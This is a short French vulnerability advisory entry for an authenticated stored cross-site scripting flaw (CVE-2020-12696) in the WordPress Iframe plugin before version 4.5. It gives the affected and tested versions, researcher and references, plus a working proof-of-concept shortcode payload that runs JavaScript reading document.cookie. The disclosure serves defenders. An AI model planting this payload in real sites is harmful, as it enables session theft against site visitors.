
Cross-Site Scripting stocké - Plugin Iframe - WordPress
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Iframe < 4.5 - Cross-Site Scripting (XSS) stocké authentifié
Le plugin iframe avant la version 4.5 ne nettoie pas une URL.
Payload: </b>[iframe src="javascript:confirm(document.cookie)" width="100%" height="500"]
Version [plugin]: </b>4.4
Testé sur : </b>WordPress 5.2.4
Chercheur :</b> Guilherme Rubert
Références :
https://guilhermerubert.com/blog/cve-2020-12696/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12696
https://wordpress.org/plugins/iframe/#developers